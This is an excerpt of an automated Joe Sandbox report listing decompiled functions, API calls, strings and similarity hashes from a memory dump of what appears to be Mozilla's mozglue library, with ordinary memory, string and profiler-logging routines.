Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C51E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E04F

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C51E057

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction ID: bf174e532cc778a8d5e57cda8e8fd2770b051bae2e51eae2d10092d3ab60d5c3
Opcode Fuzzy Hash: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction Fuzzy Hash: F321B078B051088FEF04EF65DC5CAAEB7B5AF89308F550418E80A97F40DB71AD09C7A5

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

kernel32.dll, xrefs: 6C537557
UnmapViewOfFile2, xrefs: 6C537552

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

RtlNtStatusToDosError, xrefs: 6C5375D1
ntdll.dll, xrefs: 6C5375B3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

NtUnmapViewOfSection, xrefs: 6C537621
ntdll.dll, xrefs: 6C537603

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C53A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770), ref: 6C53A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A87B

Part of subcall function 6C53A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C53A88F,00000000), ref: 6C53A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C53A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A90C
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A97E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction ID: 8abbc935114a70cfc165bcec5007195708f26f3ce4641b447700818eeff804a5
Opcode Fuzzy Hash: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction Fuzzy Hash: 93419FB5A00248CFDF00DFE4CC45A9EBBB1FF44324F148629E81AAB791E731A945CB91

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C53AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
